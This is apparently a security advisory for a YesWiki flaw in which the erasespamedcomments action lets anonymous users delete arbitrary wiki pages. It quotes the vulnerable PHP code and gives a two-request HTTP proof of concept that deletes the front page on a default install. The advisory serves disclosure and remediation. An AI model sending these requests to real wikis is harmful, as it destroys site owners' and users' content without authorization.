Summary

The {{erasespamedcomments}} wiki action (actions/EraseSpamedCommentsAction.php) accepts a suppr[] array from POST and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone (default_write_acl='*') on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users.

The action's delete() callee is PageManager::deleteOrphaned(), which despite its name does not check whether the target page is orphaned: it issues an unconditional DELETE against pages, links, acls, triples, referrers, and tags tables.

Details

Three issues compose the vulnerability.

1. actions/EraseSpamedCommentsAction.php performs no authorization check before processing $_POST['clean'] / $_POST['suppr'][] in actions/EraseSpamedCommentsAction.php:

   public function run()
   {
       $wiki = &$this->wiki;
       ob_start();
       // ...
       elseif (isset($_POST['clean'])) {              
           $deletedPages = '';
           if (!empty($_POST['suppr'])) {            
               foreach ($_POST['suppr'] as $page) {
                   echo 'Effacement de : ' . $page . "<br />\n";
                   if ($wiki->services->get(PageController::class)->delete($page)) {  
                       $deletedPages .= $page . ', ';
                   }
               }
           }
           
       }
   }

   No UserIsAdmin(), no UserIsOwner(), no HasAccess('write', $page) per-target check, no CSRF token check.

2. The default action ACL grants access to everyone in includes/YesWiki.php:

   $acl = empty($this->config['permissions'][$moduleType][$module])
       ? '*'
       : $this->config['permissions'][$moduleType][$module];

   if ($acl === null) { return true; }
   return $this->CheckACL($acl, $user);

   No shipped permissions map gates erasespamedcomments to admins, so Performer::CheckModuleACL('erasespamedcomments', 'action') returns true for anonymous users.

3. PageController::delete() and PageManager::deleteOrphaned() perform no authorization check and do not validate that the page is actually orphaned in includes/controllers/PageController.php:38–48:

   public function delete(string $tag): bool
   {
       if ($this->entryManager->isEntry($tag)) {
           return $this->entryController->delete($tag);
       } else {
           $this->pageManager->deleteOrphaned($tag);
           $this->wiki->LogAdministrativeAction(
               $this->authController->getLoggedUserName(),
               'Suppression de la page ->""' . $tag . '""'
           );
           return true;
       }
   }

in includes/services/PageManager.php:289–310:

public function deleteOrphaned($tag)
{
    if ($this->securityController->isWikiHibernated()) { throw new \Exception(_t('WIKI_IN_HIBERNATION')); }
    unset($this->ownersCache[$tag]);
    if (in_array($tag, $this->pageCache)) { unset($this->pageCache[$tag]); }
    $this->dbService->query("DELETE FROM ... WHERE tag='{$this->dbService->escape($tag)}' OR comment_on='{$this->dbService->escape($tag)}'");
    $this->dbService->query("DELETE FROM ...links... WHERE from_tag='{$this->dbService->escape($tag)}' ");
    $this->dbService->query("DELETE FROM ...acls... WHERE page_tag='{$this->dbService->escape($tag)}' ");
    // ...further unconditional DELETEs across triples, referrers, tags
}

The companion isOrphaned() method (line 284) exists but is never called from deleteOrphaned(). The function name is misleading as it deletes any page, not just orphans.

PoC

Default fresh install where default_write_acl='*' (per includes/YesWikiInit.php:219), anonymous browsing.

1. create a trigger page (anonymous)

POST /?wiki=SpamCleanup/edit HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

body=%7B%7Berasespamedcomments%7D%7D&submit=1

This succeeds because the new page passes aclService->hasAccess('write', 'SpamCleanup') against default_write_acl='*'.

2. trigger arbitrary page deletion (anonymous)

POST /?wiki=SpamCleanup HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

clean=yes&suppr%5B0%5D=PagePrincipale&suppr%5B1%5D=AnotherTargetPage

Server response includes Effacement de : PagePrincipale and Effacement de : AnotherTargetPage. pages, links, acls, triples, referrers, and tags rows for those tags are deleted from the database.

Impact

Arbitrary page deletion, including the front page (PagePrincipale).

References

• GHSA-6x7x-gcmf-7r8x
• YesWiki/yeswiki@ed5b548